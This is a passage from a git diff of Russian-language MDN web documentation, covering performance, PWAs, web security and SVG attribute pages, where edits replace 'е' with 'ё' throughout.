"исчерпании памяти". А ведь было время, когда каждая вкладка не работала в отдельном процессе, как сейчас, а потому повисшая вкладка приводила к зависанию всего браузера! Вы должны не просто делать загрузку приложения "мягкой", но и давать пользователю знать о процессе загрузки: показывайте ему прогресс-бары или этапы, которые проходит приложение. Это позволит пользователю убедиться, что приложение не зависло.</p> <h3 id="Было_бы_желание...">Было бы желание...</h3> @@ -21,7 +21,7 @@ translation_of: Web/Performance/Optimizing_startup_performance <p>С другой стороны, потребуются некоторые ухищрения, если вы пытаетесь портировать существующее десктопное приложение в Web или привыкли писать такие. Десктопные приложения обычно не нуждаются в написании кода в асинхронной манере, потому что операционная система берет заботу об этом на себя. В исходниках такого приложения может быть лишь один поток обработки кода, но даже он может быть легко разбит на асинхронные этапы (запуском каждой новой итерации потока по отдельности). В таких приложениях запуск часто представляет собой последовательную монолитную процедуру, которая время от времени обращается к метрикам прогресса и обновляет их.</p> -<p>И хотя вы можете использовать <a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web workers</a>, чтобы обработать очень большие и "тяжелые" скрипты асинхронно, вы должны учитывать некоторые ограничения. Web Worker-ы не имеют доступа к некоторым API браузера: DOM, <a href="/en-US/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a> или audio, они не могут посылать синхронные сообщения в основной поток, вы даже не можете проксировать некоторые из этих API в основной поток. Это всё означает, что вы можете поместить в Web Worker-ы только "чистые функции", но вам все равно придется вычислять огромную часть данных в основном потоке. Поэтому очень полезно разрабатывать систему так, чтобы в ней было как можно больше чистых функций - так их будет проще делегировать последствии.</p> +<p>И хотя вы можете использовать <a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web workers</a>, чтобы обработать очень большие и "тяжёлые" скрипты асинхронно, вы должны учитывать некоторые ограничения. Web Worker-ы не имеют доступа к некоторым API браузера: DOM, <a href="/en-US/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a> или audio, они не могут посылать синхронные сообщения в основной поток, вы даже не можете проксировать некоторые из этих API в основной поток. Это всё означает, что вы можете поместить в Web Worker-ы только "чистые функции", но вам все равно придётся вычислять огромную часть данных в основном потоке. Поэтому очень полезно разрабатывать систему так, чтобы в ней было как можно больше чистых функций - так их будет проще делегировать последствии.</p> <p>Тем не менее, даже код в основном потоке можно сделать асинхронным, приложив лишь небольшие усилия.</p> @@ -45,9 +45,9 @@ translation_of: Web/Performance/Optimizing_startup_performance <p>Когда первоначальная загрузка завершена и начинается обработка приложения в основном потоке, вполне возможно, что ваше приложение обязано быть однопоточным, особенно если это портированная версия. Очень важно попытаться помочь процессу запуска приложения, порефакторив код, сделав его композитным, состоящим из маленьких кусочков, каждый из которых может быть обработан последовательно основным потоком. В этом случае, в промежутке между выполнением этих кусочков кода браузер сможет выделить время на обработку ввода (например, клик) или на обработку микро-задач.</p> -<p>В случае, если вы портируете ваше приложение, вы наверняка знаете о <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten. </a>Это решение предоставляет API, которое поможет с подобным рефакторингом. Например, вы можете использовать <code>emscripten_push_main_loop_blocker()</code>, чтобы определить функцию, как выполняемую после того, как основной поток разрешит продолжить работу. Создавая такие функции, создавая очередь, которая должна выполниться в определенном порядке, вы можете с легкостью разгрузить основной поток.</p> +<p>В случае, если вы портируете ваше приложение, вы наверняка знаете о <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten. </a>Это решение предоставляет API, которое поможет с подобным рефакторингом. Например, вы можете использовать <code>emscripten_push_main_loop_blocker()</code>, чтобы определить функцию, как выполняемую после того, как основной поток разрешит продолжить работу. Создавая такие функции, создавая очередь, которая должна выполниться в определённом порядке, вы можете с лёгкостью разгрузить основной поток.</p> -<p>Конечно, все это не отменяет необходимости рефакторинга кода так, чтобы он работал лучше и это займет время. Но для старта этого может оказаться достаточно.</p> +<p>Конечно, все это не отменяет необходимости рефакторинга кода так, чтобы он работал лучше и это займёт время. Но для старта этого может оказаться достаточно.</p> <h3 id="Насколько_далеко_я_должен_зайти">Насколько далеко я должен зайти?</h3> diff --git a/files/ru/web/performance/performance_budgets/index.html b/files/ru/web/performance/performance_budgets/index.html index ff86f4b139..8cb841d20d 100644 --- a/files/ru/web/performance/performance_budgets/index.html +++ b/files/ru/web/performance/performance_budgets/index.html @@ -3,7 +3,7 @@ title: Бюджет производительности slug: Web/Performance/Performance_budgets translation_of: Web/Performance/Performance_budgets --- -<p><span class="seoSummary">Бюджет производительности - это лимит для предотвращения регрессий. Этот бюджет может быть применен к файлам, типам файлов, всем ресурсам приложения, определенным общим показателям (например, <a href="/en-US/docs/Glossary/Time_to_interactive">Время до интерактивности</a>) пользовательским показателям (например, Время до главного элемента) или к пороговым значениям к определенным точкам во времени. </span></p> +<p><span class="seoSummary">Бюджет производительности - это лимит для предотвращения регрессий. Этот бюджет может быть применён к файлам, типам файлов, всем ресурсам приложения, определённым общим показателям (например, <a href="/en-US/docs/Glossary/Time_to_interactive">Время до интерактивности</a>) пользовательским показателям (например, Время до главного элемента) или к пороговым значениям к определённым точкам во времени. </span></p> <h2 id="Зачем_нужен_бюджет">Зачем нужен бюджет?</h2> @@ -14,12 +14,12 @@ translation_of: Web/Performance/Performance_budgets <ul> <li>Временные (например, <a href="/en-US/docs/Glossary/Time_to_interactive">Время до интерактивности,</a> <a href="/en-US/docs/Glossary/First_contentful_paint">Первая отрисовка контента</a>).</li> <li>Количественный (например, размер загруженных JS файлов, количество изображений).</li> - <li>Определенные правилами (например. индекс <a href="https://developers.google.com/speed/pagespeed/insights/">Pagespeed</a>, баллы Lighthouse).</li> + <li>Определённые правилами (например. индекс <a href="https://developers.google.com/speed/pagespeed/insights/">Pagespeed</a>, баллы Lighthouse).</li> </ul> <p>Главная цель такого подхода - сокращение регрессии. Но этот подход может помочь предсказать поведение приложения в будущем. Например, в Сентябре 50% месячного бюджета было использовано за неделю - значит, нужно ждать увеличения потребления контента, нагрузки на сервера и т.д.</p> -<p>Кроме того, подход может раскрыть некоторые нужды разработчиков (например, может оказаться, что в финальном коде вашего приложения половину объема занимает огромная библиотека, из которой вы используете только мизерную часть функционала).</p> +<p>Кроме того, подход может раскрыть некоторые нужды разработчиков (например, может оказаться, что в финальном коде вашего приложения половину объёма занимает огромная библиотека, из которой вы используете только мизерную часть функционала).</p> <h2 id="Как_определить_бюджет">Как определить бюджет?</h2> @@ -38,7 +38,7 @@ translation_of: Web/Performance/Performance_budgets <p>Базовая цель - достигнуть показателя <a href="https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/">"Время до интерактивности" до 5 секунд при 3G/4G, и до 2 секунд для последующих загрузок</a>. Однако, вы можете придумать свои цели, основанные на контенте приложения, географии пользователей и технологиях.</p> -<p>Например, для приложения с большим количеством текста (блоги, новостные сайты), показатель <a href="/en-US/docs/Glossary/First_contentful_paint">Первая отрисовка контента (First Contentful Paint)</a> будет гораздо лучше показывать, с чем сталкивается пользователь. Иными словами, этот показатель покажет, как быстро пользователь начинает читать. И этот показатель должен быть включен в специфичные бюджеты, например, бюджет шрифтов, где вы можете применять разные техники для оптимизации. Например, <a href="/en-US/docs/Web/CSS/@font-face/font-display">font-display</a>, чтобы улучшить <a href="/en-US/docs/Learn/Performance/perceived_performance">Субъективно Ощущаемую производительность</a>).</p> +<p>Например, для приложения с большим количеством текста (блоги, новостные сайты), показатель <a href="/en-US/docs/Glossary/First_contentful_paint">Первая отрисовка контента (First Contentful Paint)</a> будет гораздо лучше показывать, с чем сталкивается пользователь. Иными словами, этот показатель покажет, как быстро пользователь начинает читать. И этот показатель должен быть включён в специфичные бюджеты, например, бюджет шрифтов, где вы можете применять разные техники для оптимизации. Например, <a href="/en-US/docs/Web/CSS/@font-face/font-display">font-display</a>, чтобы улучшить <a href="/en-US/docs/Learn/Performance/perceived_performance">Субъективно Ощущаемую производительность</a>).</p> <p>Но самая главная цель таких бюджетов - это возможность корреляции Производительности и Бизнес-целей. Когда вы определяете какие-то показатели, вы должны сфокусироваться на пользовательском опыте. Только он может диктовать, как мы должны изменять приложение таким образом, чтобы не просто улучшить конверсию, но и предсказать вероятность того, что пользователь вернётся.</p> @@ -53,7 +53,7 @@ translation_of: Web/Performance/Performance_budgets <p>Проверка размеров файлов - это лишь первый рубеж защиты от регрессий. Преобразование этих показателей во временные может быть сложным, потому что во время разработки окружение разработчика может не включать в себя сторонние библиотеки или оптимизации, которые обычно присутствуют в Production сборках.</p> -<p>Поэтому, рекомендуется определить базовые линии для каждой метрики бюджета с учетом разницы между окружением разработчика и боевым окружением.</p> +<p>Поэтому, рекомендуется определить базовые линии для каждой метрики бюджета с учётом разницы между окружением разработчика и боевым окружением.</p> <p>С этим может помочь, например, <a href="https://github.com/GoogleChromeLabs/lighthousebot">Lighthouse Bot</a>, который можно встроить в <a href="https://travis-ci.org/">Travis CI</a> и использовать для получения аналитики <a href="https://developers.google.com/web/tools/lighthouse/">Lighthouse</a> и <a href="https://webpagetest.org">Webpage Test</a>. Этот бот будет сообщать об ошибке или успешном прохождении тестов на основе определённых минимальных оценок.</p> @@ -61,7 +61,7 @@ translation_of: Web/Performance/Performance_budgets <p>Чем раньше вы сможете определить новую трату к бюджету, тем лучше вы сможете оценить текущее состояние приложения и указать на необходимые оптимизации.</p> -<p>Кроме того, лучше иметь несколько бюджетов и быть проактивным. Бюджеты должны отражать ваши текущие цели, но не должны мешать экспериментам. Например, вы можете привнести функционал, который увеличит общее время загрузки приложения, но попытается увеличить пользовательскую вовлечённость (например, как долго пользователь остается на странице).</p> +<p>Кроме того, лучше иметь несколько бюджетов и быть проактивным. Бюджеты должны отражать ваши текущие цели, но не должны мешать экспериментам. Например, вы можете привнести функционал, который увеличит общее время загрузки приложения, но попытается увеличить пользовательскую вовлечённость (например, как долго пользователь остаётся на странице).</p> <p>Бюджет помогает вам сохранить оптимальное поведение ваших текущих пользователей, когда вы пытаетесь выйти на новые рынки или привнести что-то новое в ваше приложение.</p> diff --git a/files/ru/web/performance/rum-vs-synthetic/index.html b/files/ru/web/performance/rum-vs-synthetic/index.html index a2d0a17bec..6692991729 100644 --- a/files/ru/web/performance/rum-vs-synthetic/index.html +++ b/files/ru/web/performance/rum-vs-synthetic/index.html @@ -12,7 +12,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic <h2 id="Синтетический_мониторинг"><strong>Синтетический мониторинг</strong></h2> -<p>Синтетический мониторинг включает в себя мониторинг производительности в "лабораторных" условиях, обычно с помощью автоматизированных инструментов в цельном окружении. Такой подход включает в себя создание скриптов, симулирующих путь, который может пройти пользователь, пользуясь приложением. Таким образом тестируются не настоящие пользователи, но заранее определенный набор инструкций, который выполняется в предопределенном окружении.</p> +<p>Синтетический мониторинг включает в себя мониторинг производительности в "лабораторных" условиях, обычно с помощью автоматизированных инструментов в цельном окружении. Такой подход включает в себя создание скриптов, симулирующих путь, который может пройти пользователь, пользуясь приложением. Таким образом тестируются не настоящие пользователи, но заранее определённый набор инструкций, который выполняется в предопределённом окружении.</p> <p>Пример такого мониторинга - <a href="https://WebPageTest.org">WebPageTest.org</a>. Ресурс предоставляет контролируемое окружение, где вы определяете географию, сеть, устройства, браузеры и кешированные данные. Сервис предоставляет Waterfall график для каждого ресурса, который используется в вашем приложении и грузится сторонними библиотеками (например, рекламными или аналитическими инструментами).</p> @@ -22,7 +22,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic <h2 id="Мониторинг_реальных_пользователей_RUM">Мониторинг реальных пользователей (RUM)</h2> -<p id="Real_User_Monitoring_(RUM)"><strong>Мониторинг реальных пользователей (Real User Monitoring, RUM) </strong>измеряет производительность приложения на устройствах конечных пользователей. В основе подхода - сторонний скрипт, который вставляет другие скрипты на каждую страницу. Эти дополнительные скрипты измеряют производительность и предоставляют отчеты о ней. Этот подход помогает не только узнать, насколько производительно приложение, но и дает информацию об использовании приложения, например, о географии, распределении пользователей или влиянии такого распределения на пользовательский опыт.</p> +<p id="Real_User_Monitoring_(RUM)"><strong>Мониторинг реальных пользователей (Real User Monitoring, RUM) </strong>измеряет производительность приложения на устройствах конечных пользователей. В основе подхода - сторонний скрипт, который вставляет другие скрипты на каждую страницу. Эти дополнительные скрипты измеряют производительность и предоставляют отчёты о ней. Этот подход помогает не только узнать, насколько производительно приложение, но и даёт информацию об использовании приложения, например, о географии, распределении пользователей или влиянии такого распределения на пользовательский опыт.</p> <p>В отличие от синтетического мониторинга, RUM собирает данные от настоящих пользователей, вне зависимости от их устройств, браузеров, сети или геолокации. Пока пользователь взаимодействует с приложением, тайминги такого взаимодействия записываются, вне зависимости от того, какое действие выполняется в конкретный момент. Такой мониторинг собирает данные о реальном использовании приложения, а не о том поведении, которое ожидают разработчики или, скажем, отдел маркетинга. Это особенно важно для больших веб-сайтов или сложных приложений, где функционал или содержимое постоянно меняются, а количество пользователей может очень сильно расти, создавая новые нагрузки и требования.</p> @@ -32,7 +32,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic <p>Синтетический мониторинг хорошо подходит для отлавливания регрессий в ходе разработки приложения. Особенно полезным может оказаться занижение скорости сети ({{glossary('network throttling')}}). Такой подход довольно прост, недорог и великолепно подходит для тестирования определённых точек приложения по мере того, как вы вносите изменения в код. Но он даёт лишь узкий обзор производительности и не говорит о том, что испытывает пользователь.</p> -<p>Тестирование на реальных пользователях, в свою очередь, дает информацию о настоящих пользователях, которые используют приложение или веб-сайт. И хотя получение и обработка таких данных обходится дороже и не так проста, такой подход дает жизненно важные данные о пользовательском опыте.</p> +<p>Тестирование на реальных пользователях, в свою очередь, даёт информацию о настоящих пользователях, которые используют приложение или веб-сайт. И хотя получение и обработка таких данных обходится дороже и не так проста, такой подход даёт жизненно важные данные о пользовательском опыте.</p> <h2 id="API_для_измерения_производительности">API для измерения производительности</h2> diff --git a/files/ru/web/progressive_web_apps/installable_pwas/index.html b/files/ru/web/progressive_web_apps/installable_pwas/index.html index 034dfb976a..3aa9e01580 100644 --- a/files/ru/web/progressive_web_apps/installable_pwas/index.html +++ b/files/ru/web/progressive_web_apps/installable_pwas/index.html @@ -15,7 +15,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs <ul> <li>Веб-манифест с <a href="/en-US/Apps/Progressive/Add_to_home_screen#Manifest">правильно заполненными полями</a></li> - <li>Сайт должен использовать защищенный (HTTPS) домен</li> + <li>Сайт должен использовать защищённый (HTTPS) домен</li> <li>Иконка для предоставления приложения на устройстве</li> <li>Зарегистрированный service worker, чтобы приложение работало в off-line режиме (на данный момент требуется только для Chrome на Android)</li> </ul> @@ -26,7 +26,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs <p>Обычно находится в корневой папке веб-приложения. Содержит информацию, такую как название приложения, paths пути к значкам разных размеров, которые можно использовать для представления приложения в мобильных операционных системах (например, в качестве значка домашнего экрана), и цвет фона для использования при загрузке. Эта информация необходима браузеру для правильного отображения приложения при установке и на домашнем экране.</p> -<p>Файл <code>js13kpwa.webmanifest</code> веб-приложения <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> включен в раздел {{htmlelement("head")}} файла <code>index.html</code> с помощью следующей строчки кода:</p> +<p>Файл <code>js13kpwa.webmanifest</code> веб-приложения <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> включён в раздел {{htmlelement("head")}} файла <code>index.html</code> с помощью следующей строчки кода:</p> <pre class="brush: html"><link rel="manifest" href="js13kpwa.webmanifest"></pre> @@ -98,7 +98,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs <h3 id="Экран_загрузки">Экран загрузки</h3> -<p>В некоторых браузерах, на основе информации из манифеста, создается заставка, отображаемая при запуске PWA</p> +<p>В некоторых браузерах, на основе информации из манифеста, создаётся заставка, отображаемая при запуске PWA</p> <p><img alt="" src="https://mdn.mozillademos.org/files/15835/js13kpwa-splash.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> diff --git a/files/ru/web/reference/api/index.html b/files/ru/web/reference/api/index.html index df6fdaf23f..b3439cdf85 100644 --- a/files/ru/web/reference/api/index.html +++ b/files/ru/web/reference/api/index.html @@ -8,7 +8,7 @@ tags: - Справка translation_of: Web/Reference/API --- -<p><span class="seoSummary">Веб предлагает широкий спектр интерфейсов для выполнения различных полезных задач. Они могут быть доступны с помощью кода JavaScript, и путем внесения незначительных корректив в объекты {{domxref("window")}} или {{domxref("element")}}. Для создания сложной графики и аудио эффектов используются такие интерфейсы как <a href="/ru/docs/Web/WebGL">WebGL</a> и <a href="/ru/docs/Web_Audio_API">Web Audio</a>.</span></p> +<p><span class="seoSummary">Веб предлагает широкий спектр интерфейсов для выполнения различных полезных задач. Они могут быть доступны с помощью кода JavaScript, и путём внесения незначительных корректив в объекты {{domxref("window")}} или {{domxref("element")}}. Для создания сложной графики и аудио эффектов используются такие интерфейсы как <a href="/ru/docs/Web/WebGL">WebGL</a> и <a href="/ru/docs/Web_Audio_API">Web Audio</a>.</span></p> <p><a href="/ru/docs/Web/API">Описание всех интерфейсов (APIs).</a></p> diff --git a/files/ru/web/reference/index.html b/files/ru/web/reference/index.html index 3b429c22d2..6ebb520ba5 100644 --- a/files/ru/web/reference/index.html +++ b/files/ru/web/reference/index.html @@ -7,7 +7,7 @@ translation_of: Web/Reference --- <p>{{draft()}}</p> -<p><span id="result_box" lang="ru"><span>Открытая сеть построена с использованием ряда технологий.</span> <span>Ниже вы найдете ссылки на наши справочные материалы по каждому из них.</span></span></p> +<p><span id="result_box" lang="ru"><span>Открытая сеть построена с использованием ряда технологий.</span> <span>Ниже вы найдёте ссылки на наши справочные материалы по каждому из них.</span></span></p> <div class="row topicpage-table"> <div class="section"> diff --git a/files/ru/web/security/same-origin_policy/index.html b/files/ru/web/security/same-origin_policy/index.html index 0b304bf42f..e1b008a445 100644 --- a/files/ru/web/security/same-origin_policy/index.html +++ b/files/ru/web/security/same-origin_policy/index.html @@ -7,7 +7,7 @@ translation_of: Web/Security/Same-origin_policy <h2 id="Определение_origin">Определение origin</h2> -<p>Две страницы имеют одинаковый origin (источник) если протокол , порт (если указан), и хост одинаковы для обоих страниц. Время от времени, вы можете видеть это как "scheme/host/port tuple" (где "tuple"<sup> переводится как кортеж или запись</sup> набор из трех компонент, которые вместе составляют единое целое).</p> +<p>Две страницы имеют одинаковый origin (источник) если протокол , порт (если указан), и хост одинаковы для обоих страниц. Время от времени, вы можете видеть это как "scheme/host/port tuple" (где "tuple"<sup> переводится как кортеж или запись</sup> набор из трёх компонент, которые вместе составляют единое целое).</p> <p>В следующей таблице даны примеры origin-сравнений с URL <code>http://store.company.com/dir/page.html</code>:</p> diff --git a/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html b/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html index 6d60a0d151..7397f649f1 100644 --- a/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html +++ b/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html @@ -5,7 +5,7 @@ translation_of: Web/Security/Securing_your_site/Turning_off_form_autocompletion --- <p><span class="seoSummary">В этой статье объясняется как можно отключить автозаполнение полей на сайте.</span></p> -<p>По умолчанию браузеры запоминают информацию, которую пользователи отправляют через {{HTMLElement("input")}} поля на сайтах. Это позволяет браузеру предлагать варианты для автодополнения (то есть предлагать возможные дополнения для полей, в которые пользователь начал вводить данные) или автозаполнение (то есть предварительно заполнять определенные поля при загрузке).</p> +<p>По умолчанию браузеры запоминают информацию, которую пользователи отправляют через {{HTMLElement("input")}} поля на сайтах. Это позволяет браузеру предлагать варианты для автодополнения (то есть предлагать возможные дополнения для полей, в которые пользователь начал вводить данные) или автозаполнение (то есть предварительно заполнять определённые поля при загрузке).</p> <p>Эти функции обычно включены по умолчанию, но они могут вызвать проблемы конфиденциальности пользователей, поэтому браузеры могут позволить отключать их. Однако некоторые данные, представленные в формах, либо не будут полезны в будущем (например, одноразовый пин-код), либо содержат конфиденциальную информацию (например, уникальный правительственный идентификатор или код безопасности кредитной карты). Как автор сайта, вы можете предпочесть, чтобы браузер не запоминал значения для таких полей, даже если в браузере включена функция автозаполнения.</p> diff --git a/files/ru/web/svg/applying_svg_effects_to_html_content/index.html b/files/ru/web/svg/applying_svg_effects_to_html_content/index.html index 337add0202..7dc0f367c1 100644 --- a/files/ru/web/svg/applying_svg_effects_to_html_content/index.html +++ b/files/ru/web/svg/applying_svg_effects_to_html_content/index.html @@ -16,7 +16,7 @@ translation_of: Web/SVG/Applying_SVG_effects_to_HTML_content <pre class="brush: html"><style>p { mask: url(#my-mask); }</style> </pre> -<p>В приведенном выше примере все параграфы маскируются с помощью <a href="/en-US/docs/Web/SVG/Element/mask">SVG</a> <a href="/en-US/docs/Web/SVG/Element/mask"><code><mask></code></a> с <a href="/en-US/docs/Web/HTML/Global_attributes/id">ID</a> <code>my-mask</code>. </p> +<p>В приведённом выше примере все параграфы маскируются с помощью <a href="/en-US/docs/Web/SVG/Element/mask">SVG</a> <a href="/en-US/docs/Web/SVG/Element/mask"><code><mask></code></a> с <a href="/en-US/docs/Web/HTML/Global_attributes/id">ID</a> <code>my-mask</code>. </p> <h3 id="Пример_маскировка">Пример: маскировка</h3> @@ -45,7 +45,7 @@ p { <p>Обратите внимание, что в CSS маска указана с использованием URL-адреса ID- <code>#mask-1</code>, которая является идентификатором маски SVG, указанной ниже. Все остальное указывает подробности о самой маске градиента.</p> -<p>Применение SVG-эффекта к (X) HTML выполняется путем назначения <code>target</code> классу, определенному выше элементу, например:</p> +<p>Применение SVG-эффекта к (X) HTML выполняется путём назначения <code>target</code> классу, определённому выше элементу, например:</p> <pre class="brush: html"><p class="target" style="background:lime;"> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt @@ -59,7 +59,7 @@ p { </p> </pre> -<p>Вышеприведенный пример будет отображаться с помощью маски, применяемой к нему.</p> +<p>Вышеприведённый пример будет отображаться с помощью маски, применяемой к нему.</p> <p>{{EmbedLiveSample('Example_Masking', 650, 200)}}</p> @@ -111,7 +111,7 @@ p { <h3 id="Пример_Фильтрация">Пример: Фильтрация</h3> -<p>Это демонстрирует применение фильтра к содержимому HTML с помощью SVG. Он устанавливает несколько фильтров, которые применяются с CSS к трем элементам как в нормальном состоянии, так и при <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:hover">hover</a> мыши.</p> +<p>Это демонстрирует применение фильтра к содержимому HTML с помощью SVG. Он устанавливает несколько фильтров, которые применяются с CSS к трём элементам как в нормальном состоянии, так и при <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:hover">hover</a> мыши.</p> <pre class="brush: html"><p class="target" style="background: lime;"> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt diff --git a/files/ru/web/svg/attribute/attributetype/index.html b/files/ru/web/svg/attribute/attributetype/index.html index 64578f28b0..c4e46ff973 100644 --- a/files/ru/web/svg/attribute/attributetype/index.html +++ b/files/ru/web/svg/attribute/attributetype/index.html @@ -8,7 +8,7 @@ translation_of: Web/SVG/Attribute/attributeType --- <p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p> -<p>Этот атрибут задает пространство имен, в котором определяются конечный атрибут и связанные с ним значения.</p> +<p>Этот атрибут задаёт пространство имён, в котором определяются конечный атрибут и связанные с ним значения.</p> <h2 id="Контекст_использования">Контекст использования</h2> @@ -40,9 +40,9 @@ translation_of: Web/SVG/Attribute/attributeType <dd>Указывает на то, что значение параметра {{ SVGAttr("attributeName") }} является именем свойства CSS, определяемого как анимация.</dd> <dt> </dt> <dt>XML</dt> - <dd>Указывает, что значение параметра{{ SVGAttr("attributeName") }} является именем атрибута XML, определяемого как анимация в пространстве имен XML по умолчанию для целевого элемента.</dd> + <dd>Указывает, что значение параметра{{ SVGAttr("attributeName") }} является именем атрибута XML, определяемого как анимация в пространстве имён XML по умолчанию для целевого элемента.</dd> <dt>auto</dt> - <dd>Реализация должна соответствовать {{ SVGAttr("attributeName") }} атрибуту целевого элемента. Агенты пользователя сначала посмотрят список свойств CSS для соответствующего имени свойства, а если нет, выполните поиск в пространстве имен XML по умолчанию для элемента.</dd> + <dd>Реализация должна соответствовать {{ SVGAttr("attributeName") }} атрибуту целевого элемента. Агенты пользователя сначала посмотрят список свойств CSS для соответствующего имени свойства, а если нет, выполните поиск в пространстве имён XML по умолчанию для элемента.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/svg/attribute/core/index.html b/files/ru/web/svg/attribute/core/index.html index 4423aa5468..6abb480a61 100644 --- a/files/ru/web/svg/attribute/core/index.html +++ b/files/ru/web/svg/attribute/core/index.html @@ -26,7 +26,7 @@ translation_of: Web/SVG/Attribute/Core <small><em>Значение</em>: Любое строковое значение ID; <em>Анимируемый</em>: <strong>Нет</strong></small></dd> <dt id="attr-lang">{{SVGAttr('lang')}}</dt> <dd> - <p>Участвует в определении языка элемента, языка, на котором написаны нередактируемые элементы, или языка, на котором должны быть написаны редактируемые элементы. Тэг содержит одно единственное значение записи в формате, определенном в <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">документе IETF "Tags for Identifying Languages (BCP47)"</a>.</p> + <p>Участвует в определении языка элемента, языка, на котором написаны нередактируемые элементы, или языка, на котором должны быть написаны редактируемые элементы. Тэг содержит одно единственное значение записи в формате, определённом в <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">документе IETF "Tags for Identifying Languages (BCP47)"</a>.</p> <div class="note"> <p>SVG2 предоставляет новые <code>lang</code> атрибуты. Если атрибуты <code>lang</code> и <code>xml:lang</code> используются вместе, то <code>xml:lang</code> имеет приоритет над <code>lang</code>.</p> @@ -42,7 +42,7 @@ translation_of: Web/SVG/Attribute/Core <small><em>Тип</em>: <a href="/docs/Web/SVG/Content_type#IRI"><IRI></a>; <em>Анимируемый</em>: <strong>Нет</strong></small></dd> <dt id="attr-xml:lang">{{SVGAttr('xml:lang')}}</dt> <dd> - <p>Это универсальный атрибут, разрешенный во всех XML диалектах для разметки естественного человеческого языка, который содержит элемент. Он почти идентичен по использованию атрибута <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/lang">lang</a> в HTML, но в соответствии с документацией XML 1.0, данный атрибут не позволяет использовать нулевое (<code>null</code>) значение атрибута (<code>xml:lang=""</code>) для указания неизвестного языка. Вместо этого, используйте <code>xml:lang="und"</code>.</p> + <p>Это универсальный атрибут, разрешённый во всех XML диалектах для разметки естественного человеческого языка, который содержит элемент. Он почти идентичен по использованию атрибута <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/lang">lang</a> в HTML, но в соответствии с документацией XML 1.0, данный атрибут не позволяет использовать нулевое (<code>null</code>) значение атрибута (<code>xml:lang=""</code>) для указания неизвестного языка. Вместо этого, используйте <code>xml:lang="und"</code>.</p> <div class="note"> <p>SVG2 предоставляет новые <code>lang</code> атрибуты. Если атрибуты <code>lang</code> и <code>xml:lang</code> используются вместе, то <code>xml:lang</code> имеет приоритет над <code>lang</code>.</p> diff --git a/files/ru/web/svg/attribute/d/index.html b/files/ru/web/svg/attribute/d/index.html index 708aa0cbad..2e1807e521 100644 --- a/files/ru/web/svg/attribute/d/index.html +++ b/files/ru/web/svg/attribute/d/index.html @@ -72,7 +72,7 @@ translation_of: Web/SVG/Attribute/d </tbody> </table> -<p class="note"><strong>Сноска:</strong> Точка происхождения (координата <code>0</code>,<code>0</code>) обычно является верхним левым углом контекста. Однако элемент {{SVGElement("glyph")}} имеет свое происхождение в левом нижнем углу своего бокса.</p> +<p class="note"><strong>Сноска:</strong> Точка происхождения (координата <code>0</code>,<code>0</code>) обычно является верхним левым углом контекста. Однако элемент {{SVGElement("glyph")}} имеет своё происхождение в левом нижнем углу своего бокса.</p> <h2 id="missing-glyph">missing-glyph</h2> @@ -122,9 +122,9 @@ translation_of: Web/SVG/Attribute/d <p><em>(MoveTo path commands)</em></p> -<p><em>MoveTo </em>инструкции можно рассматривать как собирание чертежного инструмента и установку его в другом месте. Между предыдущей точкой и указанной точкой нет линии.</p> +<p><em>MoveTo </em>инструкции можно рассматривать как собирание чертёжного инструмента и установку его в другом месте. Между предыдущей точкой и указанной точкой нет линии.</p> -<p class="note"><strong>Заметка:</strong> Хорошей практикой является открытие всех путей с помощью команды <strong>moveto</strong>, потому что без начального <strong>moveto</strong> команды будут выполняться с начальной точки, где бы это ни было ранее, что может привести к неопределенному поведению.</p> +<p class="note"><strong>Заметка:</strong> Хорошей практикой является открытие всех путей с помощью команды <strong>moveto</strong>, потому что без начального <strong>moveto</strong> команды будут выполняться с начальной точки, где бы это ни было ранее, что может привести к неопределённому поведению.</p> <table class="standard-table"> <tbody> @@ -188,7 +188,7 @@ translation_of: Web/SVG/Attribute/d <th scope="row">L</th> <td>(<code>x</code>, <code>y</code>)+</td> <td> - <p>Рисует линию из <em>текущей точки в конечную точку определенную</em> <code>x</code>,<code>y</code>. Любая последующая пара(ы) координат интерпретируется как параметр(ы) для неявной абсолютной команд(ы) LineTo (<code>L</code>). Формула: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, <code>y</code>}</p> + <p>Рисует линию из <em>текущей точки в конечную точку определённую</em> <code>x</code>,<code>y</code>. Любая последующая пара(ы) координат интерпретируется как параметр(ы) для неявной абсолютной команд(ы) LineTo (<code>L</code>). Формула: P<sub>o</sub><sup>'</sup> = P<sub>n</sub> = {<code>x</code>, <code>y</code>}</p> </td> </tr> <tr> diff --git a/files/ru/web/svg/attribute/dur/index.html b/files/ru/web/svg/attribute/dur/index.html index 7c28a1e8cc..9cd47365ff 100644 --- a/files/ru/web/svg/attribute/dur/index.html +++ b/files/ru/web/svg/attribute/dur/index.html 